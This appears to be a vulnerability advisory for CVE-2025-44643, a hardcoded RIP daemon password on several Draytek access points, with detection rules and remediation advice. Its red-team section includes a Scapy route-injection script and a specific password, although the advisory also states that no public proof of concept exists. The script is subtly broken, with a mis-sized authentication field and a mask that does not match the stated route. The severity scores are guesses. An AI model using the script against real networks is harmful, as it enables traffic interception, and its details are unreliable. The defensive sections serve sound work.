CVE-2025-44643

Executive Summary

CVE-2025-44643 exposes a critical insecure configuration vulnerability in multiple Draytek access point models (AP903, AP912C, AP918R). The root cause is a hardcoded weak password stored in the ripd.conf configuration file, which controls the Routing Information Protocol (RIP) daemon. An attacker with network access can exploit this to gain unauthorized control over the routing daemon, potentially altering network routes or intercepting traffic. This vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The CVSS score is 0.0, indicating incomplete scoring data, but the real-world impact is significant due to the potential for network-level compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Incomplete)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Changed (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: Critical (due to network access and lack of authentication)

Deep Dive & Mechanics

The vulnerability resides in the ripd.conf configuration file used by the RIP daemon on affected Draytek devices. The password property is set to a hardcoded weak value, which is identical across all devices of the same model and firmware version. This allows an attacker who can reach the RIP daemon (typically UDP port 520) to authenticate using the known password and inject malicious routing updates.

The RIP protocol (v1 and v2) does not inherently provide strong authentication; it relies on a simple plaintext password for RIPv2. By hardcoding a weak password, Draytek has effectively removed any security benefit of RIP authentication. An attacker can send crafted RIP packets to:

• Advertise false routes (route poisoning)
• Redirect traffic through an attacker-controlled device (man-in-the-middle)
• Cause denial of service by injecting unreachable routes

The attack does not require prior authentication to the device's management interface; it only requires network-level access to the RIP service.

Vulnerable vs. Patched Code

Vulnerable Configuration (ripd.conf):

router rip
 network 192.168.1.0/24
 password draytek123

The password draytek123 is hardcoded and weak.

Patched Configuration (hypothetical):

router rip
 network 192.168.1.0/24
 password $6$random_salt$encrypted_hash

A patched version would use a randomly generated, strong password per device, or implement a more secure authentication mechanism (e.g., MD5 authentication with a key-chain).

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a Draytek AP903/AP912C/AP918R with default firmware.
2. Attacker machine (Kali Linux) on the same network segment.
3. Use scapy or ripd to craft malicious RIP packets.

Exploitation Steps:

1. Scan for RIP services on UDP port 520.
2. Send a RIP-2 response with the hardcoded password draytek123 and a malicious route entry (e.g., 10.0.0.0/8 via attacker IP).
3. The victim device accepts the route and updates its routing table.
4. Traffic destined for 10.0.0.0/8 is now redirected to the attacker.

Example Scapy Script:

from scapy.all import *
import struct

# Craft RIP-2 response with authentication
rip_pkt = IP(dst="192.168.1.1")/UDP(sport=520, dport=520)/RIP(cmd=2, version=2)
# Add authentication entry (RTE type 2)
auth_entry = struct.pack("!HH", 0xffff, 2) + b"draytek123" + b"\x00"*8
# Add route entry
route_entry = struct.pack("!HH", 2, 0) + struct.pack("!I", 0x0a000000) + struct.pack("!I", 0xffffff00) + struct.pack("!I", 0x0a000001) + struct.pack("!I", 0x00000001)
payload = auth_entry + route_entry
send(rip_pkt/payload)

Blue Team

Detection Steps:

1. Monitor for unexpected RIP updates on the network.
2. Check ripd.conf for hardcoded passwords.
3. Use network segmentation to limit RIP exposure.
4. Implement RIP authentication with strong, unique passwords.

Indicators of Compromise (IOCs)

• Network IOCs:
  • RIP packets with authentication string draytek123
  • Unexpected route advertisements from unknown sources
  • Changes in routing tables without administrative action
• File IOCs:
  • ripd.conf containing the string password draytek123
• System IOCs:
  • Unusual network traffic patterns (e.g., traffic redirected to unexpected IPs)

Detection Engineering

YARA Rule

rule CVE_2025_44643_RIP_Hardcoded_Password {
    meta:
        description = "Detects hardcoded weak password in Draytek ripd.conf"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44643"
    strings:
        $password = "password draytek123"
    condition:
        $password
}

Sigma Rule

title: Detection of Hardcoded RIP Password in Draytek Devices
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic containing the hardcoded RIP password for CVE-2025-44643
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - payload: "draytek123"
    condition: selection
falsepositives:
    - Legitimate use of the same password (unlikely)
level: high

Suricata Rule

alert udp any any -> any 520 (msg:"CVE-2025-44643 Draytek RIP Hardcoded Password"; content:"draytek123"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Change the RIP password in ripd.conf to a strong, randomly generated password.
2. Network Segmentation: Restrict RIP traffic to trusted management networks only.
3. Firewall Rules: Block UDP port 520 from untrusted sources.
4. Firmware Update: Monitor Draytek for a patched firmware version.
5. Alternative Protocol: Consider using OSPF with MD5 authentication instead of RIP.
6. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT